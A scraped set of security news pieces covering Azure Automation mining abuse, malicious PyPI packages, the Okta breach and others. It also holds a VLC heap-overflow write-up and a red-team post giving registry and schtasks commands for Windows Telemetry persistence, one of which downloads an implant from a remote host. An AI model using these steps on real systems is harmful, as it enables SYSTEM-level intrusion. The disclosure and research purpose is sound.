Cybersecurity researchers have developed what's the first fully undetectable cloud-based cryptocurrency miner leveraging the Microsoft Azure Automation service without racking up any charges.
Cybersecurity company SafeBreach said it discovered three different methods to run the miner, including one that can be executed on a victim's environment without attracting any attention.
"While this

Cloud Security / Cryptocurrency

Cybersecurity researchers have developed what's the first fully undetectable cloud-based cryptocurrency miner leveraging the Microsoft Azure Automation service without racking up any charges.

Cybersecurity company SafeBreach said it discovered three different methods to run the miner, including one that can be executed on a victim's environment without attracting any attention.

"While this research is significant because of its potential impact on cryptocurrency mining, we also believe it has serious implications for other areas, as the techniques could be used to achieve any task that requires code execution on Azure," security researcher Ariel Gamrian said in a report shared with The Hacker News.

The study mainly set out to identify an "ultimate crypto miner" that offers unlimited access to computational resources, while simultaneously requiring little-to-no maintenance, is cost-free, and undetectable.

That's where Azure Automation comes in. Developed by Microsoft, it's a cloud-based automation service that allows users to automate the creation, deployment, monitoring, and maintenance of resources in Azure.

SafeBreach said it found a bug in the Azure pricing calculator that made it possible to execute an infinite number of jobs totally free of charge, although it relates to the attacker's environment itself. Microsoft has since issued a fix for the problem.

An alternative method entails creating a test-job for mining, followed by setting its status as "Failed," and then creating another dummy test-job by taking advantage of the fact that only one test can run at the same time.

The end result of this flow is that it completely hides code execution within the Azure environment.

A threat actor could leverage these methods by establishing a reverse shell towards an external server and authenticating to the Automation endpoint to achieve their goals.

Furthermore, it was found that code execution could be achieved by leveraging Azure Automation's feature that allows users to upload custom Python packages.

"We could create a malicious package named 'pip' and upload it to the Automation Account," Gamrian explained.

"The upload flow would replace the current pip in the Automation account. After our custom pip was saved in the Automation account, the service used it every time a package was uploaded."

SafeBreach has also made available a proof-of-concept dubbed CoinMiner that's designed to get free computing power within Azure Automation service by using the Python package upload mechanism.

Microsoft, in response to the disclosures, has characterized the behavior as "by design," meaning the method can still be exploited without getting charged.

While the scope of the research is limited to the abuse of Azure Automation for cryptocurrency mining, the cybersecurity firm warned that the same techniques could be repurposed by threat actors to achieve any task that requires code execution on Azure.

"As cloud provider customers, individual organizations must proactively monitor every single resource and every action being performed within their environment," Gamrian said.

"We highly recommend that organizations educate themselves about the methods and flows malicious actors may use to create undetectable resources and proactively monitor for code execution indicative of such behavior."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Researchers Uncover Undetectable Crypto Mining Technique on Azure Automation

A new set of malicious Python packages has slithered their way to the Python Package Index (PyPI) repository with the ultimate aim of stealing sensitive information from compromised developer systems.
The packages masquerade as seemingly innocuous obfuscation tools, but harbor a piece of malware called BlazeStealer, Checkmarx said in a report shared with The Hacker News.
"[BlazeStealer]

Supply Chain / Software Security

A new set of malicious Python packages has slithered their way to the Python Package Index (PyPI) repository with the ultimate aim of stealing sensitive information from compromised developer systems.

The packages masquerade as seemingly innocuous obfuscation tools, but harbor a piece of malware called **BlazeStealer**, Checkmarx said in a report shared with The Hacker News.

"\[BlazeStealer\] retrieves an additional malicious script from an external source, enabling a Discord bot that gives attackers complete control over the victim's computer," security researcher Yehuda Gelb said.

The campaign, which commenced in January 2023, entails a total of eight packages named Pyobftoexe, Pyobfusfile, Pyobfexecute, Pyobfpremium, Pyobflite, Pyobfadvance, Pyobfuse, and pyobfgood, the last of which was published in October.

These modules come with setup.py and init.py files that are designed to retrieve a Python script hosted on transfer\[.\]sh, which gets executed immediately upon their installation.

Called BlazeStealer, the malware runs a Discord bot and enables the threat actor to harvest a wide range of information, including passwords from web browsers and screenshots, execute arbitrary commands, encrypt files, and deactivate Microsoft Defender Antivirus on the infected host.

What's more, it can render the computer unusable by ramping up CPU usage, inserting a Windows Batch script in the startup directory to shut down the machine, and even forcing a blue screen of death (BSoD) error.

"It stands to reason that developers engaged in code obfuscation are likely dealing with valuable and sensitive information, and therefore, to a hacker, this translates to a target worth pursuing," Gelb noted.

A majority of downloads associated with the rogue packages originated from the U.S., followed by China, Russia, Ireland, Hong Kong, Croatia, France, and Spain. They were collectively downloaded 2,438 times before being taken down.

"The open-source domain remains a fertile ground for innovation, but it demands caution," Gelb said. "Developers must remain vigilant, and vet the packages prior to consumption."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Beware, Developers: BlazeStealer Malware Discovered in Python Packages on PyPI

Improper Restriction of Excessive Authentication Attempts vulnerability in Samsung Smart TV UE40D7000 version T-GAPDEUC-1033.2 and before allows attackers to cause a denial of service via WPS attack tools.

CVE-2023-41270: SMOLD TV: Old & Smart

Videolan VLC prior to version 3.0.20 contains an Integer underflow that leads to an incorrect packet length.

**Background**

In VLC, IO (network stream protocols and more) is done under modules/access.

There is an old protocol called MMS (Microsoft media server) - MMS Wiki

There are two implementations used by VLC - MMST (MMS over TCP) and MMSH (MMS over HTTP).

**Packets**

According to the logic in the VLC code, the packets are in the following formats:

2 bytes

2 bytes

4 bytes

2 bytes

2 bytes

n bytes

i_type

i_size

i_sequence

i_unknown

i_size2

data

**Issues****GetPacket - Heap overflow**

Packets are received in GetPacket:

    static int GetPacket( stream_t * p_access, chunk_t *p_ck )
    {
        access_sys_t *p_sys = p_access->p_sys;
        int restsize;
        /* chunk_t */
        memset( p_ck, 0, sizeof( chunk_t ) );
        /* Read the chunk header */
        /* Some headers are short, like 0x4324. Reading 12 bytes will cause us
         * to lose synchronization with the stream. Just read to the length
         * (4 bytes), decode and then read up to 8 additional bytes to get the
         * entire header.
         */
        if( vlc_tls_Read( p_sys->stream, p_sys->buffer, 4, true ) < 4 )
        {
           msg_Err( p_access, "cannot read data 2" );
           return VLC_EGENERIC;
        }
        p_ck->i_type = GetWLE( p_sys->buffer);
        p_ck->i_size = GetWLE( p_sys->buffer + 2);
        restsize = p_ck->i_size;
        if( restsize > 8 )
            restsize = 8;
        if( vlc_tls_Read( p_sys->stream, p_sys->buffer + 4, restsize, true ) < restsize )
        {
            msg_Err( p_access, "cannot read data 3" );
            return VLC_EGENERIC;
        }
        p_ck->i_sequence  = GetDWLE( p_sys->buffer + 4);
        p_ck->i_unknown   = GetWLE( p_sys->buffer + 8);
        /* Set i_size2 to 8 if this header was short, since a real value won't be
         * present in the buffer. Using 8 avoid reading additional data for the
         * packet.
         */
        if( restsize < 8 )
            p_ck->i_size2 = 8;
        else
            p_ck->i_size2 = GetWLE( p_sys->buffer + 10);
        p_ck->p_data      = p_sys->buffer + 12;
        p_ck->i_data      = p_ck->i_size2 - 8;
        if( p_ck->i_type == 0x4524 )   // $E (End-of-Stream Notification) Packet
        {
            if( p_ck->i_sequence == 0 )
            {
                msg_Warn( p_access, "EOF" );
                return VLC_EGENERIC;
            }
            else
            {
                msg_Warn( p_access, "next stream following" );
                return VLC_EGENERIC;
            }
        }
        else if( p_ck->i_type == 0x4324 ) // $C (Stream Change Notification) Packet
        {
            /* 0x4324 is CHUNK_TYPE_RESET: a new stream will follow with a sequence of 0 */
            msg_Warn( p_access, "next stream following (reset) seq=%d", p_ck->i_sequence  );
            return VLC_EGENERIC;
        }
        else if( (p_ck->i_type != 0x4824) && (p_ck->i_type != 0x4424) )
        {
            /* Unsupported so far:
             * $M (Metadata) Packet               0x4D24
             * $P (Packet-Pair) Packet            0x5024
             * $T (Test Data Notification) Packet 0x5424
             */
            msg_Err( p_access, "unrecognized chunk FATAL (0x%x)", p_ck->i_type );
            return VLC_EGENERIC;
        }
        if( (p_ck->i_data > 0) &&
            (vlc_tls_Read( p_sys->stream, &p_sys->buffer[12], p_ck->i_data,
                           true ) < p_ck->i_data) )
        {
            msg_Err( p_access, "cannot read data 4" );
            return VLC_EGENERIC;
        }
    #if 0
        if( (p_sys->i_packet_sequence != 0) &&
            (p_ck->i_sequence != p_sys->i_packet_sequence) )
        {
            msg_Warn( p_access, "packet lost ? (%d != %d)", p_ck->i_sequence, p_sys->i_packet_sequence );
        }
    #endif
        p_sys->i_packet_sequence = p_ck->i_sequence + 1;
        p_sys->i_packet_used   = 0;
        p_sys->i_packet_length = p_ck->i_data;
        p_sys->p_packet        = p_ck->p_data;
        return VLC_SUCCESS;
    }
    

We can see that there are 3 sequence of data receival:

1.  We receive 4 bytes which of type and i_size which describe the size of the next read (capped to 8).
2.  We receive 8 bytes which are the rest of the header: i_sequence, i_unknown and i_size2 which is the total size of the packet (including the headers and data).
3.  Reading the data.

The issue is that when they calculate the remaining size of the packet to read:

    p_ck->i_data = p_ck->i_size2 - 8;
    

Instead of decreasing 12 (which is the size of the already read headers), they only decrease 8.

later on, i_data bytes is going to be read from the socket into the buffer p_ck->p_data at:

        if( (p_ck->i_data > 0) &&
            (vlc_tls_Read( p_sys->stream, &p_sys->buffer[12], p_ck->i_data,
                           true ) < p_ck->i_data) )
        {
            msg_Err( p_access, "cannot read data 4" );
            return VLC_EGENERIC;
        }
    

And as we can see, it’s being read into offset 12 of the buffer.

The size being read is capped to i_size2 = 0xffff - 8 = 0xfff7, so if the buffer size is less then 0xfff7 + 0xc = 0x10003 we’ll get an overflow.

Looking at the struct which contains the buffer we can see the size:

    #define BUFFER_SIZE 65536
    typedef struct
    {
        int             i_proto;
        struct vlc_tls *stream;
        vlc_url_t       url;
        bool      b_proxy;
        vlc_url_t       proxy;
        int             i_request_context;
        uint8_t         buffer[BUFFER_SIZE + 1];
        bool      b_broadcast;
        uint8_t         *p_header;
        int             i_header;
        uint8_t         *p_packet;
        uint32_t        i_packet_sequence;
        unsigned int    i_packet_used;
        unsigned int    i_packet_length;
        uint64_t        i_start;
        uint64_t        i_position;
        asf_header_t    asfh;
        vlc_guid_t          guid;
    } access_sys_t;
    

This struct is located on the heap, and the buffer size is 65536 + 1 = 0x10001 which is smaller. Hence we get an heap overflow.

**Showcase**

I compiled VLC myself using the following guidelines to get debug symbols.

Implemented a basic MMSH server which get’s to the first time GetPacket is being called (Describe->GetHeader->GetPacket),

passes the checks and send 0xffff bytes of ‘A’ (0x41) as the packet data, by setting a break point after reading the data (read 4),

we get the following (using gdb):

As we can see buffer is filled by a lot of A’s (0x41), and that the next struct field b_broadcast is set to 65 which is 0x41 - ‘A’, which confirms our assumption.

**GetPacket - integer underflow**

When calculating the data size, we already saw the following line:

    p_ck->i_data      = p_ck->i_size2 - 8;
    

Since we control i_size2 we think this might cause an underflow. Now, looking at the definitions of i_data and i_size2 in the chunk_t struct:

    typedef struct
    {
        uint16_t i_type;
        uint16_t i_size;
    
        uint32_t i_sequence;
        uint16_t i_unknown;
    
        uint16_t i_size2;
    
        int      i_data;
        uint8_t  *p_data;
    
    } chunk_t;
    

We can see that i_data is int, and i_size2 is uint16_t.

Normally, copying any value of uint16 to int is fine, since the value is zero-extended by default.

However, when we decrement 8, the order of the subtraction is important, since, if we:

1.  Copy the uint16 to the int.
2.  Substract 8. We might get an int underflow. this is confirmed by the dissasembly (using IDA) of the relevant function:

*   r11d is the lower dword of r11 register.
*   rbp+174 is the address of the local variable containing i_size2.

And we can see that the uint16 value is first copied (zero-extended) into r11d, and only then we subtract 8 from r11d.

This is not very useful as of the moment, since the following sanity checks validates that i_data > 0:

        if( (p_ck->i_data > 0) &&
            (vlc_tls_Read( p_sys->stream, &p_sys->buffer[12], p_ck->i_data,
                           true ) < p_ck->i_data) )
        {
            msg_Err( p_access, "cannot read data 4" );
            return VLC_EGENERIC;
        }
    

However, the value of i_data is being written to p_sys->i_packet_length:

        p_sys->i_packet_length = p_ck->i_data;
    

Which might be useful somewhere else, I didn’t verify this bug using my custom server + gdb.

**Responsible disclosure**

1/09/2023 - Contacted VLC security and reported both issues.

7/09/2023 - Got a response recognizing the issues.

30/10/2023 - VLC team update that a fixed was issued and tagged 3.0.20

31/10/2023 - Published the findings and submitted a CVE.

CVE-2023-47360: VLC 3.0.13 - MMS Stream bugs

The Pakistan-linked threat actor known as SideCopy has been observed leveraging the recent WinRAR security vulnerability in its attacks targeting Indian government entities to deliver various remote access trojans such as AllaKore RAT, Ares RAT, and DRat.
Enterprise security firm SEQRITE described the campaign as multi-platform, with the attacks also designed to infiltrate Linux systems with a

The Pakistan-linked threat actor known as **SideCopy** has been observed leveraging the recent WinRAR security vulnerability in its attacks targeting Indian government entities to deliver various remote access trojans such as AllaKore RAT, Ares RAT, and DRat.

Enterprise security firm SEQRITE described the campaign as multi-platform, with the attacks also designed to infiltrate Linux systems with a compatible version of Ares RAT.

SideCopy, active since at least 2019, is known for its attacks on Indian and Afghanistan entities. It's suspected to be a sub-group of the Transparent Tribe (ak APT36).

"Both SideCopy and APT36 share infrastructure and code to aggressively target India," SEQRITE researcher Sathwik Ram Prakki said in a Monday report.

Earlier this May, the group was linked to a phishing campaign that took advantage of lures related to India's Defence Research and Development Organization (DRDO) to deliver information-stealing malware.

Since then, SideCopy has also been implicated in a set of phishing attacks targeting the Indian defense sector with ZIP archive attachments to propagate Action RAT and a new .NET-based trojan that supports 18 different commands.

The new phishing campaigns detected by SEQRITE entail two different attack chains, each targeting Linux and Windows operating systems.

The former revolves around a Golang-based ELF binary that paves the way for a Linux version of Ares RAT that's capable of enumerating files, taking screenshots, and file downloading and uploading, among others.

The second campaign, on the other hand, entails the exploitation of CVE-2023-38831, a security flaw in the WinRAR archiving tool, to trigger the execution of malicious code, leading to the deployment of AllaKore RAT, Ares RAT, and two new trojans called DRat and Key RAT.

"\[AllaKore RAT\] has the functionality to steal system information, keylogging, take screenshots, upload & download files, and take the remote access of the victim machine to send commands and upload stolen data to the C2," Ram Prakki said.

DRat is capable of parsing as many as 13 commands from the C2 server to gather system data, download and execute additional payloads, and perform other file operations.

The targeting of Linux is not coincidental and is likely motivated by India's decision to replace Microsoft Windows with a Linux flavor called Maya OS across government and defense sectors.

"Expanding its arsenal with zero-day vulnerability, SideCopy consistently targets Indian defense organizations with various remote access trojans," Ram Prakki said.

"APT36 is expanding its Linux arsenal constantly, where sharing its Linux stagers with SideCopy is observed to deploy an open-source Python RAT called Ares."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

SideCopy Exploiting WinRAR Flaw in Attacks Targeting Indian Government Entities

Microsoft Edge (Chromium-based) Information Disclosure Vulnerability

CVE-2023-36409

CVE-2023-36769

By Waqas
Some of the most prominent victims of the data breach include Cloudflare, 1Password, and BeyondTrust.
This is a post from HackRead.com Read the original post: Okta Breach Linked to Employee’s Google Account, Affects 134 Customers

Okta’s investigation determined the breach to be associated with a Google account belonging to one of the company’s employees.

In a recent update following the initial data breach announcement made in October 2023, Okta, a prominent identity and access management (IAM) provider, disclosed that the number of affected customers has now reached 134. This breach enabled threat actors to gain unauthorized access to files.

“Some of these files were HAR files that contained session tokens which could in turn be used for session hijacking attacks,” David Bradbury, Okta’s chief security officer explained in Friday’s November 4th update.

Between September 28 and October 17, 2023, Okta encountered a sophisticated attack, wherein a threat actor accessed Okta’s support case management system by compromising a stolen account. Afterwards, the threat actor gained the ability to view, update support cases, and extract sensitive data, which included session tokens.

On October 19, Okta became aware of the breach following a notification from one of its customers, BeyondTrust, regarding suspicious activities. Among the prominent customers affected by the breach are Cloudflare and 1Password. Pedro Canahuati, the CTO of 1Password, disclosed the incident, confirming that threat actors were unable to access or extract user data during the attack.

****Google Account Connection****

Originally, the incident was thought to occur as a threat actor accessed an IT employee’s Okta session token by leveraging a stolen credential, thus gaining entry into 1Password’s Okta administrative portal. However, Bradbury later revealed that the investigation determined the breach to be associated with a Google account belonging to one of the company’s employees.

“Okta Security identified that an employee had signed-in to their personal Google profile on the Chrome browser of their Okta-managed laptop,” Bradbury said. “The username and password of the service account had been saved into the employee’s personal Google account. The most likely avenue for exposure of this credential is the compromise of the employee’s personal Google account or personal device.”

As to why it took two weeks for Okta to address the issue, Bradbury further explained that “Okta didn’t find any suspicious downloads in their system logs.” They noted that when someone looks at files attached to a support case, there’s a special record in their logs. But if a person goes directly to the Files section in the customer support system, it creates a different record. The attackers used this method in their attack.

“Okta first looked into access to support cases and then checked the logs related to those cases. On October 13, 2023, BeyondTrust gave Okta Security an IP address linked to the attackers. With this information, Okta found more file access events tied to the compromised account,” said Bradbury.

In a comment to Hackread.com, Tal Skverer, Research Team Lead at Astrix Security, discussed the use of personal accounts on devices issued by the company stating that “Service accounts skip security measures that normal accounts are subject to, such as MFA, therefore; their credentials are extremely vulnerable.”

“It is with utmost importance that service accounts follow the least privilege principle. Skverer emphasised. “To limit their permissions, their usage should be limited to very unique functionalities.”

The Okta breach is a major concern for the cybersecurity community, as Okta is a trusted IAM provider for many organizations, including Fortune 500 companies and government agencies. The breach also highlights the growing sophistication of threat actors and the need for organizations to take steps to protect their data from increasingly targeted attacks.

Nevertheless, the latest security breach at Okta serves as the second cyberattack on the company. In March 2022, LAPSUS$ hackers claimed to have breached Okta and Microsoft after leaking a trove of their data on Telegram.

****What Organizations Can Do to Protect Themselves****

Organizations can take a number of steps to protect themselves, including:

*   **Implement strong password policies and require users to use multi-factor authentication (MFA).** MFA adds an extra layer of security to user accounts by requiring users to provide a second form of authentication, such as a code from their phone, in addition to their password.
*   **Regularly update security software and patches.** Software developers release security updates to patch known vulnerabilities. By regularly updating their software and patches, organizations can help to reduce the risk of being exploited by attackers.
*   **Educate employees about cybersecurity best practices.** Employees should be trained on how to identify and avoid phishing attacks, and how to protect their devices and data.
*   **Monitor their systems for suspicious activity.** Organizations should have systems in place to monitor their systems for suspicious activity, such as unusual login attempts or data exfiltration.

1.  IBM Notifies Janssen CarePath Customers of Data Breach
2.  Human Error: Casio ClassPad Data Breach Impacting 148 Countries
3.  Sony Data Breach via MOVEit Vulnerability Affects Thousands in US
4.  Fake Bitwarden Password Manager Website Drops Windows ZenRAT
5.  Kroll SIM-Swapping Attack Causes Data Breach at 3 Top Crypto Firms
6.  Passwords by Kaspersky Password Manager exposed to brute-force attack

Okta Breach Linked to Employee’s Google Account, Affects 134 Customers

By Waqas
After a surge of malware on the Google Play Store, is Microsoft also failing to properly vet apps for malware?
This is a post from HackRead.com Read the original post: Scammers Use Fake Ledger App on Microsoft Store to Steal $800,000 in Crypto

The fake Ledger Live app on the Microsoft Store deceived users into downloading malware, which stole their Bitcoin and Ethereum funds.

Hackread.com has been actively following the cryptocurrency space as it has lately been a prominent target of scams and cyberattacks. Hackers are eyeing the crypto industry to steal valuable assets and even NFTs.

For this purpose, crooks devise clever tactics to lure unsuspecting users into giving away their funds and tokens. One such scam was recently reported by a pseudonymous on-chain detective and crypto sleuth, ZachXBT. 

According to ZachXBT, a fake Ledger app was circulating on the Microsoft App Store. This fraudulent app masqueraded as the official Ledger Live app and tricked users into unwittingly downloading and installing malware stealing victims’ crypto funds and data.

Fake Ledger app on Microsoft Store (Screenshot: ZachXBT)

ZachXBT’s analysis stressed the sophisticated nature of this scam, emphasizing the critical need for end-users to stay alert in protecting their cryptocurrency wallets. As of November 4th, scammers successfully collected roughly $588,000 in Bitcoin by hijacking users’ crypto wallets.

In a tweet, ZachXBT cautioned crypto users and investors with the following warning: “Community Alert: There is currently a fake @Ledger Live app on the official @Microsoft App Store which was resulted in 16.8+ BTC ($588K) stolen.”

However, on November 5th, ZachXBT received updated information from a victim, indicating a loss of $180,000 worth of ETH due to the fake Ledger app. This significantly increased the total lost payments to over $768,000.

Stolen funds (Screenshot: Hackread.com)

It is worth noting that in November 2023, a fake Ledger Live app was uploaded to the official Microsoft App Store that looked exactly like the original Ledger Live app. For your information, it is a popular software wallet designed to help users manage their crypto assets.

However, those who downloaded the fake version of this app ended up installing malware capable of stealing cryptocurrency by intercepting users’ recovery phrases. The attackers specifically targeted users who store their cryptocurrency in the Ledger hardware wallets to profit by stealing their assets.

The attackers designed the fake app quite cunningly, replicating the look and features of the authentic app, including identical logos and branding materials. They went as far as creating a fraudulent Ledger device pin verification process. This tricky similarity between the original and fake apps makes it challenging for users to differentiate between them.

Nevertheless, Microsoft promptly detected and removed the fake Ledge Live app from their store. The company is investigating how the fake Ledger app bypassed its app review process, however, the damage to users is already done.

Remember that apps like Ledger, Trezor, or another hardware wallet will never ask users to enter their recovery phrases into their computers or phones. You should always enter the phrase in the hardware wallet to recover it.

1.  Teen Hacks Ledger Hardware Cryptocurrency Wallet
2.  New DoubleFinger Malware Strikes Cryptocurrency Wallets
3.  All Ledger hardware wallets vulnerable to man in middle attack
4.  Ledger data breach: Hacker leaks stolen database on hacker forum
5.  Crypto wallet Ledger data breach; hackers steal 1m emails, other data

Scammers Use Fake Ledger App on Microsoft Store to Steal $800,000 in Crypto

Microsoft has introduced the compatibility telemetry in order to collect usage and performance data about Windows systems. The telemetry tasks are collected via the binary… 
Continue reading → Persistence – Windows Telemetry

Skip to content

Microsoft has introduced the compatibility telemetry in order to collect usage and performance data about Windows systems. The telemetry tasks are collected via the binary “CompatTelRunner.exe” which is stored in the following location:

CompatTelRunner executes a variety of commands which are retrieved from specific registry keys. TrustedSec has identified that it is feasible to abuse the Windows telemetry mechanism for persistence during red team operations if elevated access has been achieved.

The persistence method requires the following steps:

1.  Creation of a registry subkey under the “_TelemetryController_” key
2.  Creation of “_Command_” key that will execute the arbitrary command or implant
3.  Creation of “_DWORD_” key set to Nightly with the data value set to “1”
4.  Execution of the “_Microsoft Compatibility Appraiser_” schedule task via the schtasks binary

The above methodology can be achieved by executing the following commands from the command line:

reg add HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Persistence
reg add "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Persistence" /v Command /t REG\_SZ /d "C:\\Users\\Peter\\Downloads\\demon.x64.exe"
reg add "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Persistence" /v Nightly /t REG\_DWORD /d 1
schtasks /run /tn "\\Microsoft\\Windows\\Application Experience\\Microsoft Compatibility Appraiser"

Windows Telemetry Persistence – Command Prompt

Execution of the above commands will result the following modifications to the registry as displayed below:

Windows Telemetry Persistence – Registry

Establishing persistence via Windows Telemetry can be achieved from an elevated implant session.

Windows Telemetry Persistence – Havoc C2 Implant

The telemetry is a C# binary which implements the persistence method by enabling red teams to use a local path in order to run an arbitrary payload.

shell telemetry.exe install /path:C:\\Users\\peter\\Downloads\\demon.x64.exe

Windows Telemetry Persistence – Havoc C2 Telemetry Local Install

Alternatively, telemetry can be used to download an implant from a remote location to disk.

shell telemetry.exe install /url:http://10.0.0.3:9000/demon.x64.exe

Windows Telemetry Persistence – Havoc C2 Telemetry Remote Download

Upon execution the tool will create the required registry structure as displayed in the image below:

Windows Telemetry Persistence – Registry Telemetry

The implant will be executed under the context of “_CompatTelRunner.exe_” process.

Windows Telemetry Persistence – Implant

The schedule task is configured to run the “_CompatTelRunner.exe_” binary with SYSTEM level privileges and therefore the implant will executed with similar privileges.

Windows Telemetry Persistence – C2 Sessions

This could be verified by executing the “_whoami_” command.

Windows Telemetry Persistence – whoami

The following image displays the active sessions in the compromised host.

Windows Telemetry Persistence – Havoc C2 Session Graph

**References**

*   https://trustedsec.com/blog/abusing-windows-telemetry-for-persistence
*   https://github.com/Imanfeng/Telemetry

**Post navigation**

Tag

#microsoft